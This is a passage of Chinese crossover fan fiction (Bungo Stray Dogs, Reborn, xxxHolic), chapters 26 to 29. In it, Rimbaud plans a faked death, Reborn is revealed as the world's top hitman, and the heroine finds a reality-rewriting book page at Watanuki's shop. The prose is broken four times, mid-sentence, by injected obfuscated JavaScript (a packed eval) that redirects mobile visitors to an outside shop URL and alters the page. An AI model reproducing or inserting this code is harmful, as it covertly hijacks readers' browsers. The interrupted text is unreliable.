黑羽结衣耸了耸肩。 “兰堂哥之前的说法是遗忘了爆炸前后的记忆,也许我……可能在那其中?” “所以他对中也动手,只是因为他想要完成自己的任务吗?好像哪里有些奇怪。” 她摇摇头: “这样的理由,得去再询问他本人才能知道吧。” 与此同时,另一边。 一场对话也即将拉开帷幕。 兰堂苏醒的时候,发现他甚至并没有被关押在专门的地牢内,只是放置在了一间休息室的长椅上,身上甚至只用了普通的绳索捆着,对于一位超越者来说,简直是再简单不过的简答题了,甚至都不能称之为一种阻碍。 他三两下就松了绑,坐起身环顾四周,发现甚至连个监控都没有的时候,他坐在原地,叹了口气。 所有人都知道这样简单的束缚并不靠谱,但这只是在表明他们的态度。 ……但是,不行。 他不仅不应该留在这里,还应该声势浩大的叛逃,最好再来上一场众所周知的“死亡”为自己送行。 兰堂安安静静地坐在那里思考了一会,最后,手心又浮现出熟悉的异能发动的红光,就要向那玻璃处砸去。 砰、砰、砰! 三声枪响,逼得他不得不停下动作,转而用异能防御。 兰堂飞快转身,才发现刚刚本确认了室内空无一人的墙壁上,不知为何开了一个孔洞,而刚才才认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304300|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,名为reborn的小孩正从那个洞里走了出来,手里还端着一杯咖啡,臂弯甚至夹着一份报纸。 兰堂皱起眉: “你是……结衣说的家庭教师。” “ciaos~” reborn轻巧地跳上他对面的椅子,枪支变化成绿色的蜥蜴,将咖啡放在茶几上,他则展开报纸坐下,看上去想来一场长时间的对话。 “你做好你的职责本分就行。” 兰堂的声音冷了下来, “不要去插手和你无关的事。” 静下心他就猜出了当时的子弹绝对有异常,但对面前这位连续阻拦了他两次的人兰堂依旧没有好脸色。 “明明已经注射了两次强力麻醉,结果还能这么快醒来,真不知道是剂量问题还是超越者的体质和常人不一样,” reborn没有理会他的话,只是自顾自地端起咖啡啜了一口,豆豆眼微微眯起, “不过,你今天不能离开这里。我向他们承诺看守你,如果真让你跑了,那我作为初次见面的家庭教师,威严不就扫地了吗?” 兰堂眉头皱的更紧: “而如果你真的要作为喂他们考虑的长辈掺手这件事,你就知道让我离开是必然也是最优选。” “我当然知道了。在她去找你的路上,我已经把你的事听的差不多了。你的打算是去找你的搭档,没错吧?” 小婴儿惬意地靠在椅背上,端起咖啡又啜了一口,没听到回答也不恼, “那你有没有想过,万一你的搭档真的还活着,并且因此产生报复心态……或者为了立功也好洗去自身的疑点也好,想要完成这个任务的话,你会站在哪一边?” “……我会尽量避免这样的情况的。” 兰堂的手微微攥紧。他不能既是不合格的搭档,也是不合格的兄长。这两份重量,他已经背负了这么多年。如果要他在其中做出选择…… “他们年纪都不大,也都是好孩子,” 他闭口不言,反而谈起了额外的话题, “现在有了家庭教师之后,我也可以暂时安心了。” “你还真对我信赖呢,哪怕在今天之前,我和她甚至没有认识过。” 兰堂语气平静: “我知道你。虽然之前没意识到,但后来注意到就很明晰了。你的枪法暴露了一切,世界第一的杀手先生,对吧?你的踪迹已经隐匿许多年了,虽然不知道什么原因,又是因为什么变成这副模样,还会重新接下任务……但既然你接了任务,完成率就必定会是100%,这是你的职业操守。” “没想到这里还真的有人知道我。” “足够有名的强者当然要准备足够详细的情报,我之前好歹也是为欧洲情报机构工作。” 小婴儿极短极快地发出短促的,像是笑的气音: “那你有没有考虑过一件事?黑羽结衣,是通过什么样的酬劳或者代价才能吸引到我专程来到这边成为她的家庭教师?” 兰堂沉默了。那沉默拉长,变成了落在心头的凝重。 “你应该意识到才对。一般情况下,作为杀手的我是不可能接这种过家家式,与我毫不相称的委托,除非——” reborn意味深长地盯着他, “给出了足够高昂的代价。” 26.魔法打败魔法 正因如此,当黑羽结衣推开休息室的门,打算观察一下兰堂的状态时,就见青年已经正襟危坐在休息室的椅子上,面前的茶几上放着一杯泡好的咖啡,对面坐着的reborn端着同样小巧的咖啡杯,豆豆眼微微眯起,一副惬意至极的模样。 气氛有点紧绷,但并没有危险的气息。 ……他们已经谈过了? 黑羽结衣的目光在两人之间来回扫视,试图从他们的表情中读出些什么。但当两人同时听到开门的动静,齐刷刷看向她的时候,不知为何,那目光里的审视让她有种被三堂会审的感觉。 那被用来限制兰堂行动的绳子早就松松垮垮的落在地上团成了一团,黑羽结衣对此早有预料,她合上门,朝着青年微微歪头: “我们谈谈?” “确实,应该好好谈谈。” 那态度与之前在擂钵街时判若两人,几乎完全相反, “其他人呢?” “打起来了,可能暂时还得段时间。” 黑羽结衣耸耸肩。完全没有提自己在煽风点火方面也贡献出了一份卓越的力量。 她去拉了把椅子在两人中间的位置坐下,左右看了看: “那我们就先来谈……” “先来谈谈reborn先生的事吧。” 兰堂打断了她的话。 “reborn先生?” 她有些不明所以地又看向小婴儿,试图与对方进行眼神上的交流, “reborn先生怎么了吗?” 那双豆豆眼里什么都没有。 ……交流失败。 兰堂却一反平时,语气严肃: “结衣,你是从哪里找到的他?” “有其他人帮我介绍,说有非常符合我们需求的家庭教师……” 即使是她刚刚觉得这个话题的切入点有点怪,此刻也意识到了不正常,她的目光在两人之间来回移动, “哪里不对吗?” 兰堂沉默了一秒。 然后,他说出了一个让她大脑当场宕机的答案: “这位先生,是曾经的世界第一杀手。即使是目前,也没有人越过这道高峰。” 欸? 欸——!!! reborn满意地啜了一口咖啡。 看着自己现在的学生露出这样一副震惊又崇拜的神情,连原本苦涩的咖啡都香甜起来。 黑羽结衣根本没法控制自己脸上的表情。 难怪那时候那个人对她说,会是非常符合她要求的家庭教师,她只是想对方可能有相关教育经验,但也没想到这个“符合要求”的意思来头会有这么大。 这也太超值了吧! “re,reborn先生——” 黑羽结衣眼睛亮晶晶地蹲下来,态度极其殷勤, “您还想要吃点什么吗?或者喝点什么?咖啡的温度合适吗?要不要我让其他人为您再换一杯?还是说您想尝尝别的?” “嗯……暂时不需要了,不过明天我要喝红茶,记得为我准备好上好的茶叶。” “嗯嗯,这种事小菜一碟,不管您想要什么品种,都尽管和我说!” 黑羽结衣连连点头,突然回想起最开始的问题,转过头,眼底的兴奋还没有散去, “我现在知道了,兰堂哥,没想到能请来reborn先生这样优秀的人才,我也很惊讶呢。” “所以。” 兰堂不为所动,眉头紧皱, “你究竟是怎么找到他的?是什么样的中介能请动这样的人?或者,你付出了什么样的代价?” “我没付出什么代价啊,” 黑羽结衣无意识地摸了摸后脑勺, “我感觉可能是我之前的熟人?所以他说帮我找的时候,我也没完全放在心上,心想能找到最好,找不到也没什么损失。没想到还真找到了,并且还是reborn先生这种大人物——” 她的语气里带着一丝抑制不住的兴奋, “真厉害啊。他和reborn先生是朋友吗?” “之前欠了他人情。” reborn淡淡地补充了一句。 “原来是这样——不对,今天的重点不在这,兰堂哥一直在打岔!明明我们要谈的事才是重点,我想知道,你真的要离开吗?” 黑羽结衣巧妙的转回了之前的话题, “你好像一直不想谈这件事,但……不管是我们中的谁,都不想你离开。” “你先回答我的问题,结衣。” “不,兰堂哥应该先回答我的问题,我的事只会对最亲近的家人说。如果某个人不是我、或者不愿意再当我最亲近的兄长,那我对他一定不会说真话的。” ——用魔法打败魔法。 两人对彼此的问题都势在必得,一时间话题僵在了那里。而在僵持的时候,他们也似乎意识到了那个回答可能与自己想要的截然相反。 最终,还是兰堂先退了一步。 比起已经失去记忆,过去的事全靠他人口中诉说,仅仅用那些他人的印象勾勒出家人形状的黑羽结衣,切切实实陪着他们走过了这么多年的兰堂才是更无法割舍下这段情感的人。 他叹了口气: “和我扯上关系并不是一件好事。你应该明白的,结衣。我是敌国的间谍,是潜伏在这个国家的危险分子。我的存在本身,就会给你们带来麻烦——无尽的麻烦。” 少女则寸步不让: “比起你说的那些麻烦,我只想知道兰堂哥的真实想法,我们是家人,不是吗?无论是什么麻烦,都有解决的办法,只是前提是某人是否想要解决这个麻烦。” 兰堂望着面前身量不高的少女,眼底那些复杂的情绪渐渐沉淀,最终汇聚成温柔的注视。 “结衣。” 兰堂说,声音很轻, “你知道吗,有时候我在想——七年前在街头遇见你,究竟是偶然,还是必然。” 黑羽结衣没有说话,只是望着他。 “如果是必然,那命运未免太残酷了。” 他继续说,嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312542|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮起一个极淡的笑容, “让一个失去记忆的间谍,遇见一群同样失去记忆的孩子。让我们像真正的家人一样生活了七年,然后再让我想起一切,不得不面对选择。” “但如果是偶然——” 他顿了顿, “那这七年,大概是我这一生中,最奢侈的时光。” 青年抬起手。 那只手落在她的头顶,轻轻地揉了揉她的头发——就像这七年来无数次做过的那样。 “谢谢。” 黑羽结衣有些不习惯这样的亲密举动,但还是僵在原地,任由对方像对待小孩子一样对待自己。 “所以呢?” 她紧紧追问道, “你会选择我们吗?” 兰堂沉默了几秒,随后他望向远方那片巨大的、如同伤疤般的坑洞。 “在你来之前,我和这位reborn先生已经讨论过合适的方案了。兰堂这个身份必须死去,最好是以叛徒的身份,光明正大的死去。” 黑羽结衣没有说话,静静等着他的发言。 “如果你们不介意的话……” 兰堂收回目光, “港口mafia偶尔会需要一些外部人员,你知道的,那些‘邮递员’。有事可以第一时间赶回来,而在空闲的时候,我也能继续去追寻曾经同伴的脚步。” 是各退一步,两全其美的办法。 黑羽结衣闭了闭眼。 这也的确是在刚刚他们几个人边吵架边商量中的一种办法。既能避免这位强大的超越者的战力损失,又能避免因此直接产生的组织间的纠纷。 虽然超越者的力量也会因此暂时隐藏,不过在紧要关头,想必他也不会吝啬暗地里为自己的弟弟妹妹们斩除障碍。 “我知道了。你放心不下你的搭档也很正常,如果兰堂哥需要时间,那就去寻找吧。我会说服其他人。” 她对上他的视线,语气温和, “但是,请向我承诺,你不会一个人承担这些风险。有什么发现,告诉我们。遇到危险,告诉我们。需要帮忙,也告诉我们。” “这是家人之间该做的事。” 兰堂望着她,许久,郑重地点了点头: “好。” “这才对嘛,” 得到了满意的回答,她终于扬起洋溢的笑容, “我们是一家人。家人的意思就是——无论发生什么,都要一起面对。” 成功说服了对方的这份愉快还没散去,黑羽结衣就看到面前的青年双手环胸,居高临下地看着她,恢复了平日里兄长的姿态, “所以,结衣,我回答了你的问题,现在该轮到你了。既然是家人,那你的事也该坦诚布公,对吧?” 黑羽结衣笑容一僵。 reborn在旁边轻轻“嗤”了一声,豆豆眼里满是看好戏的光芒。而面对自己学生紧急朝他看过来发送的求救眼神,这位家庭教师的选择是端起咖啡杯,顺便感叹了一句—— 这咖啡的味道,真的很咖啡啊。 27.四月一日 兰堂最后也没能问出来她的消息来源是什么。因为已经有下属过来通报,芥川龙之介的朋友们刚被接了过来,黑羽结衣要忙着去安置对方。 对普通人自然不需要费多少心,但看在芥川龙之介那异能的潜能上,增加港口mafia这个大染缸里独属于首领自己的武斗派,那么,他的朋友就要被相当重视了。 兰堂也很看好那个少年的能力,自然没办法在这个时候说出些什么阻拦的话语——更何况他马上就要离开。 而去问reborn呢?这条路更行不通。对于reborn而言,只有他想告诉其他人,没有他要被询问出不想说的事的情况。这对才刚认识的师徒二人在这件事上展现出了惊人的默契,不仅如此,reborn还反过来催他。 “记得早点完善你的假死流程。” reborn从椅子上跳下来,拍了拍身上并不存在的灰尘, “早点完成,早点以新的身份回来,别拖太久,就连初来乍到的我都能看的出来——横滨可不是个平静的地方。” 他说完就迈着小短腿,打着去见见自己弟子的其他家族成员的名义,离开了休息室。 reborn一路顺畅无阻地来到了顶层,推开首领室大门的时候,据称在吵架的几个人已经完全安静了下来,就连之前没见过他的江户川乱步和与谢野君子也只是对他的外貌有一瞬的惊讶,但并没有说出什么质疑的话语。 “ciaos~在我来之前,想必各位已经通过气了,” 小婴儿摘下礼帽,做了一个标准的绅士鞠躬礼, “我的名字是reborn,从现在开始,会担任你们的家庭教师。” 还没等其他人发问,他紧接着又抛出第二个重磅消息: “关于那位兰堂先生的处置结果已经讨论出来了,但这不应该是由我来宣布的事情。黑羽马上就到,会由她亲自和你们宣布。现在,还有什么疑问吗?” 几乎是从进来开始,他就已经气场全开,控制住了全场。 中原中也一时间不知道该先去吐槽小婴儿竟然用词举止都这么正式还是吐槽现在家庭教师的门槛是不是有些太低了。 然后就听到他的死对头太宰治举起手,语气荡漾: “我有点好奇哦!关于刚才战斗中,reborn先生朝结衣小姐打的那枚子弹,会不会对她的身体造成损伤?” ——但话题却充满了恶意。 仅仅一句话,就让刚刚还保持着好奇和打量心态的几人眼底顿时加了许多审视。 reborn抬起手臂,那绿色的蜥蜴顺着他的手爬下来,落在他手心变成一把枪,他轻描淡写地上了几枚子弹: “那个是死气弹,具体一点来描述它的作用的话——大概就能让人增强坚定的意识,拼死去做什么事吧。如果说有什么副作用,偶尔会有倒霉蛋会将身上的衣服也因为激情爆掉。” “这听起来完全不科学啊,又是什么异能产物吗?” “说什么呢,这可是完完全全的科技。如果不信的话,作为无效化的你可以先来试试水。” reborn的枪口指向了太宰治。 这个选项可能,大概,应该,不是私人恩怨吧? 被指中的少年双手捧脸,身后飘起了花花: “欸,reborn先生,这种子弹会有装错的可能性吗,比如说看着像是特殊弹的外表,其实里面装的就是火药呢?那样的话,岂不是一发就——” “你是在挑衅作为世界第一的杀手的我吗。” reborn抬起手,与谢野则下意识开口: “等等——” “砰!” 那枚子弹已经没入了少年的身躯。 “不好意思稍微有点事耽搁了几分钟——这是在干什么?!” 黑羽结衣才刚用异能瞬移到首领室,就看到了这一幕,她的尾音不自觉上扬,手伸出来,一时不知道该做些什么。 随后,在一片沉默中,太宰治缓缓抬起头,露出了陶醉的神色,脸上泛起诡异的粉红: “啊,确实,可以放大我的欲望呢,糟糕,现在好想去河流里静静地入眠。要不,就从这里走最短路线吧——” 他行进的方向,是走廊尽头敞开的窗户边。 其他人或多或少,都是一副复杂难言的神情。 黑羽结衣缓缓放下手,冷酷无情地开口: “中也,打晕他。” “交给我吧。” 被黑羽结衣点名的中原中也狞笑着转了转手腕,用力之大,一时间让她觉得他们之间嫌隙大到了要人命的地步。直到软绵绵的躯体被这位少年直接拎着拖走,黑羽结衣的视线才从那边收回来,低头看向身边的reborn: “reborn先生?” “他们想见识见识死气弹的作用。” reborn回答她,随后看了看周围的几个人,将枪口又对准了江户川乱步。 正在吃零食的少年急忙摆摆手,满嘴薯片渣滓的他愣是呜呜呜了十几秒才终于把话说清楚: “我不要!我相信reborn先生的子弹威力!但是哪怕用作我身上,我觉得也只会是‘拼死在最短时间吃掉最多的甜品零食’这类的表现形式啊!那样的话结衣之后会给我下零食禁令的!” reborn观察着他的表情,发现他说的竟然真的是发自内心的话。房间内中原中也不在,剩下的只有与谢野晶子和黑羽结衣了。 与谢野于是率先开口: “事先说好,我带了电锯。如果情绪上头,我不确定我会做出什么事来。” ……那样会出大事的吧。 不管如何,听起来自己的朋友好像都没救了。 黑羽结衣按着半张脸,叹了口气: “我们相信reborn先生的子弹威力的,倒也不用急于一时。不过如果没有那种很强烈的愿望或者想法的话,死气弹是不是就会不起作用?” 欸,等等—— 这个说法,好像和那个奇怪异常区的少年的表述有些相似,“有着强烈愿望的人才能踏入”…… reborn微微挑眉。 “可以这么说。” 他收起枪,那只绿色的蜥蜴重新爬回他的肩膀, “死气弹的作用是放大一个人内心深处最强烈的执念。如果没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319991|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有执念,或者执念不够强烈,效果就会大打折扣——甚至完全无效。” 正好,她的愿望实现了,按照一般常理,也是该对中间人进行回礼才对。 她的小伙伴们趁此机会各自带着自己的借口溜走了。 不管是今天关于兰堂的事,还是家庭教师的事确实需要单独消化,甚至他们中的几个人应该也会和兰堂私下里再谈些什么吧。 至于她—— “reborn先生,我想感谢一下那位先生,您要一起去吗?” 那双平静的豆豆眼与她对视: “嗯?可以啊,但我不确定我能不能进去。” 他果然也知道那条规则。 “去试试看吧?” 无论是她的身世,还是失忆,还是横滨的异常区,或者是身为首领的职责……这些欲望,总有一个能让她成功进入那间宅邸的吧? “黑羽,” 小婴儿微微皱起眉,语气严肃了起来, “不要想着走捷径。有的时候,代价会比你当下所认知的要更为严重。” “我知道的。” 上次的那副扑克能请到这样的家庭教师,若规则是等价交换,只能说明…… 那副扑克,或者说异常区内的东西,比她想象中对她还要重要。 她露出了完美的微笑: “我只是稍微有点好奇。” 那个坐标已熟稔于心,reborn跳在她的肩上,银光闪烁,没过几秒面前的景象已经切换成了户外,正对着黑羽结衣的,正是那种夹在两栋楼之间,看上去格格不入的日式庭院。 她听到肩膀上的小婴儿发出了一声轻轻的叹息。 “看来reborn先生也有特别想要实现的愿望呢。” “那种事,活的久了,总是会有的吧。” 他回避了这个话题,还不忘顺手一拳砸在了她的头顶上, “我倒是很好奇,能请来我的交换条件是什么?” “如果我说只是很普通的物品,reborn先生会信吗?” 黑羽结衣一边说着,一边推开和室的门。上次见到的名为全露和多露的两个小女孩看到她眼前一亮,一左一右就贴了过来,拉着她的手向内走去。 “欢迎。” “欢迎~” “今天吃火锅。” “是很美味的火锅。” “还准备了酒。” “一起来喝吧。” “四月一日一定很期待。” “我们也很期待。” 宛若双生子的她们动作一致,半推半拉地将她向走廊深处推去,直到抵达一扇门前,里面传来一阵香气。 推开门,换了一身更加利落的服饰的少年围着围裙站在锅炉前,回过头看向她,露出了笑容: “好久不见。reborn先生也是,欢迎再次来访。” “我倒是不想再进来。” 她肩上的小婴儿先行回话,打量着他, “这么多年,不管是你还是这里的布置一直都没有变啊。” “因为是处于时空夹缝的店嘛。” 店主如此回答道。 28.再次相逢 “你们之前认识吗?” reborn突然问道。 那问题来得突然,刚从面前的涮锅里捞出一块牛肉的黑羽结衣动作卡顿在了当场,还没等她反应过来,那牛肉就被旁边蠢蠢欲动的黑色圆形生物一口吞下。 黑羽结衣低头,看着自己空空如也的筷子,发出了一声哀嚎: “我的肉——!” “厨房有备菜,牛肉还有很多,我马上去拿。” 名为四月一日君寻的店主一边安慰她,一边象征性地呵斥了黑色团子一句, “摩可拿!不能随便吃客人的食物!” “摩可拿大爷无所不能!” 黑色的圆团子对他的话不以为意,它三两下咽下那块牛肉,圆溜溜的眼睛转向旁边, “酒呢,我要喝酒!” 那酒鬼一样的架势看的黑羽结衣一愣一愣的。 他们此刻正坐在庭院的廊前。全露和多露在庭院里玩耍,你来我往,安宁地仿佛身处另一个世界。而他们四人,不对,三人和一个奇妙生物正坐在廊檐下,围着方桌吃火锅。 reborn黑着脸重复了一遍他刚刚的问题: “你们、之前、认识。” 黑羽结衣对上他的目光,露出了不好意思的笑容。 “关于这件事,我也不太清楚呢……” 她挠了挠脸颊,眼底浮现出真挚的歉意, “我失忆了。” reborn: “……” “黑羽小姐之前在这里做过交易。” 四月一日君寻的声音从旁边传来,他端着一盘新切好的牛肉走过来,在桌边坐下,动作自然地给几人分别倒了杯酒。 “所以我其实是老熟客了?” 第一次得到这样劲爆的情报的少女不由睁大了眼,这次她没忘记把锅中的肉及时捞到自己的碗里。 摩可拿老气横秋地抱起酒瓶,完全没看面前的小酒杯: “当然了,你以前可是摩可拿的酒友!来来来,陪我一起喝酒!” ……她现在离法律允许的喝酒年龄还差得远吧? 可是四月一日没有否决这句话,这样的小事,也不至于编造出来欺骗人。所以,自己失忆前,比现在更小的年纪,就已经开始喝酒了? 不愧是法外狂徒的自己。 现任港口mafia首领心安理得地说服了自己,她怀抱着对从未尝试过的新鲜之物的好奇,接过酒杯,毫无防备地一饮而尽—— “咳咳咳,好辣——水,咳咳咳——” 黑羽结衣剧烈地咳嗽起来,眼眶瞬间泛红,眼泪都快要出来了。 看她起手就不太对劲,果不其然这人……起码是失忆后的这人没喝过酒。 reborn按住了额角。 他端起自己那杯酒,优雅地抿了一口,和摩可拿那种直接往嘴里灌的气势完全相反。四月一日君寻举起酒杯和他碰了碰,笑容温和: “这里已经很久没有这么热闹过了。” “来这里的客人也大多数没有心情陪你吃喝玩乐吧。” reborn一针见血, “想要热闹点就不要每天在这里过家家,偶尔也出去走走。” “还不到时候。” 四月一日摇了摇头,视线落在庭院内, “我的……” 就在他想要解释什么的时候,一个声音打断了他。 “欸?四月一日君,你的眼睛……一直都是这样的吗?” 酒酣耳热。 黑羽结衣感到有些头晕,可能是酒精上头,整个人都轻飘飘的,像是踩在云端。她托着腮,目光无意识地扫过在场的每一个人。 于是她头一次发现,四月一日的眼睛竟然是异瞳。 只是在她提问的同时,四月一日已经注意到了她的视线落点。少年微微一笑,话题自然而然地转向了别处。 “说起来,先前的黑羽小姐曾让我代为保管一件物品,时间过去了那么久,我差点忘记了。” 他撑着头,轻描淡写, “那份代价先前的黑羽小姐已经付过了。只是——是否要将它取出来,还是等待你觉得合适的时机,都需要黑羽小姐自行判断。” 代为保管的物品? 黑羽结衣的注意力瞬间被转移了。脑海里,无数念头飞速转动,大概几十秒后,她抬起头: “抱歉,虽然我不记得了,但是我要现在拿走它。” 那会和自己的失忆有关吗? 四月一日似乎并不意外她的决定,站起身向内室走去: “我知道了。” 或许他也并不在乎这件物品会在这里放到什么时候。看着他的背影,黑羽结衣突然冒出这么一个想法。 当他回来时,手中多了一个小小的木盒。黑羽结衣接过去,郑重打开,心脏几乎都要跳出来了—— 里面只有两张纸。 如果她的视力正常的话,其中一张还是空白的白纸。 也许是用了什么特殊的手法遮掩吧,黑羽结衣愣了一秒,先去拿那张写满了字,看上去有点像什么忠告或者说明书的纸。 第一项,几个大字几乎要跳出纸面: “绝对不能把它给太宰治!” 不仅加粗放大标红,更是打了整整五个感叹号,还用笔在这句周围圈了好几圈,圈得密密麻麻,可见写字的人对这句话的重视程度。 黑羽结衣咽了咽口水。 这是先前的自己写给现在的自己的说明书。 第二行才写道: 这是一页“书”。在上面写下逻辑通顺的文字故事,那上面的故事就会变为真实。 她手一抖,差点把那份说明书丢出去。 ——之前的自己究竟是怎么找到这样的东西的? 黑羽结衣强迫自己冷静下来,继续往下看。最紧急的两条讯息已经了解,她也就稍稍放松了戒备。 第三行: 时空旅人的异能,并不只是简单的三维空间的移动。也可以实现四维空间的跳跃——即时间的跳跃。 接下来应该都是有关她自己的消息了。 少女一边消化着刚刚惊人的信息,一边伸手去拿那张传说中的纸。它静静地躺在木盒底部,看起来平平无奇,和普通的纸张没有任何区别。 但就是这张纸,可以改写现实。 她伸出另一只手,翻过说明书,继续向下看。 说明书的内容在这里需要翻页。 她刚翻过去,另一只手已经触碰到了那张纸的边缘—— 在模糊的视野中,她看到上面写着: “你的异能可能会与书产生反应,造成无法想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322943|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象的后果、所以切忌使用” 你倒是早说啊——! 在昏迷前,她在内心大喊道。 黑羽结衣不知道的是,在她昏迷后,她整个人周身都开始环绕起一股强烈的风暴能量,像龙卷风一样迅速扩张,席卷了整个庭院,别说是刚刚的火锅了,就连草坪都没能幸免于难。 reborn反应极快,一把接住了那张从她手中滑落的说明书。 而四月一日站的稍远,他声音轻飘飘的,比那纸张还轻,仿佛对突发状况完全不意外: “摩可拿,交给你了。” 那黑色的圆球便张大了嘴。 看似毁灭性的力量被它大口吸入,风暴一点点缩小,最后在力量完全消减的同时,它打了个饱嗝,满意地眯起眼睛: “不错嘛,不愧是世界级的道具,就算是其中一点残留也很美味。” reborn再朝少女看过去的时候,那张空白的纸仿佛本就不存在一样消失了。 只留下黑羽结衣安静地躺在榻榻米上,呼吸平稳,像是睡着了。 reborn沉默了几秒,低头看向手中那份说明书。他的目光落在第三行和第四行之间——那些黑羽结衣没来得及看完的字迹上。 “你是故意的?如果她不是在醉酒中……” 黑羽结衣向来性格谨慎。 如果不是酒精放松了人的意识,加上对身边人潜意识的信赖等多种原因的交叠,她不会连字都没看完就去伸手拿那一看就是大麻烦的纸。 “那大概是命运吧。” 四月一日君寻站在原地,离得不远不近, “黑羽小姐将那张纸交给我们保管,又拿回来——这一切,都是命运的选择。” reborn沉默了片刻,从那纸张中似乎看到了真实的一角: “她不是……我是说,交给你书页的黑羽,和现在的她,其实并不是发生在同一个时间线的事情吧。” 少年笑了笑: “不愧是reborn先生,接触过世界基石力量的人,果然要比一般人更容易发现事情的盲点。” reborn没有说话。 作为老朋友的黑羽结衣,作为摩可拿酒友的黑羽结衣,作为交予这件物品的黑羽结衣—— 和现在的黑羽结衣。 除了本源外,所有的经历完完全全不同。 但本质依旧相同。 “所以才会一次次相遇。” 四月一日轻声说,目光也落在那张安静的睡颜上, “说是旧识,似乎也没有错吧?” reborn沉默了很久: “你还真是给我找了个大麻烦啊。” “我以为,这也是reborn先生所期待的命运。” 那异色的瞳孔静静地注视着他, “因世界基石产生的彩虹之子的诅咒,以及可以改写现实的‘书’,不是吗?” reborn想起,或者他一直都知道自己为什么能进入这里的原因。 ——那是因为,多年之前未经告知就擅自施予的诅咒让他变成了如今这副身躯,而他想要变回原来的自己。 只是那份代价与世界有关,也太过沉重,他虽然能走进这里,却始终无法支付。 那双自始至终都漆黑的豆豆眼里,闪过了一丝光亮。 29.白虎 黑羽结衣睁开眼的时候,透过纸帐的天光已经昏暗了下去。 她正躺在一间宽敞的和室内,身下是柔软的被褥,不远处的桌子上还点着熏香。 她眨了眨眼,意识逐渐清明。 跪坐在她身旁的是名为全露的女孩,看到她醒了之后,脸上立刻绽放出笑容。 “醒了!” 她高兴地喊了起来, “四月一日——黑羽小姐醒了——!” 门外脚步声逐渐靠近,最后停在门口。少年没有直接进来,只是站在纸门外面: “黑羽小姐,身体还好吗?” 黑羽结衣撑着坐起身,揉了揉太阳穴,试图消化多出来那些繁杂的信息量: “抱歉,让你费心了……reborn先生呢?” “他说不太想看到我的脸,也不想多待在这里,就先走一步了。” 四月一日语气温和, “你感觉还好吗?” “嗯,谢谢关心……还好。” 她按着头,神情有些复杂, “只是,似乎发现了一些麻烦事。” “很麻烦?” “差不多吧,就像知道世界马上就要毁灭一样的程度。” 黑羽结衣翻身站起来,推开门,与他四目相对, “抱歉,让你费心了,我得走了。” “这么着急吗?” “嗯,我想要确认点事。以前的我给自己留下的‘书’页,说不定也有着自己的意识。” 黑羽结衣指了指自己的脑袋, “只是那意识太过微弱,又或许并不是人类能理解的存在。但它似乎想让我去找到什么人。” “有更具体的描述吗?” 她摇摇头: “……梦里并没有,只是有种预感或者方向也说不准。” “有想要去的地方啊,” 四月一日想了想,对少女露出个笑容, “那要试试我这里的办法吗?可以到你想去的地方去——但我不确定那是否真的联通那里就是了。” “我可付不出那么多代价。” 四月一日侧过身,做了个“请”的手势: “不用你付代价,毕竟刚刚已经付过了——摩可拿吃了很饱的一餐。” 黑羽结衣也就没再推辞,而是跟着他走到庭院中,最后停在一处建筑之前。 “水井?” 她有些惊讶。 “是的,水可以联通万物。从水井中进去,就能抵达你想到达的地方。” 听起来像是某种古老的传说。 黑羽结衣好奇地走到他身边,学着他的样子探头向内望去。 井水很深,但异常清澈。一轮圆月倒映在井水中央,那水面微微泛起涟漪,映出她的脸庞。 “看到什么不一样的了吗?” 四月一日问。 黑羽结衣摇摇头: “只是月亮和我的倒影。” 四月一日君寻站在她身后,没有回答。 恍惚间,他仿佛看到了很多年前——比现在更为年长的黑羽结衣本人,也曾这样站在这里,好奇地探头看向井水。 然后—— 轻轻一推。 “诶——?!” 黑羽结衣只来得及发出一声惊呼,整个人已经失去了平衡。 那一瞬间,她回头看向四月一日。 少年依旧站在原地,脸上挂着温和的笑容,没有任何要出手拉住她的意思。 水面在眼前急速放大。 下一秒—— “噗通!” 冰冷的水流瞬间将她吞没。 失重感,窒息感,四面八方涌来的压力。气泡从她身边浮起,向上飘去,发出咕噜咕噜的声响。她本能地想要挣扎—— 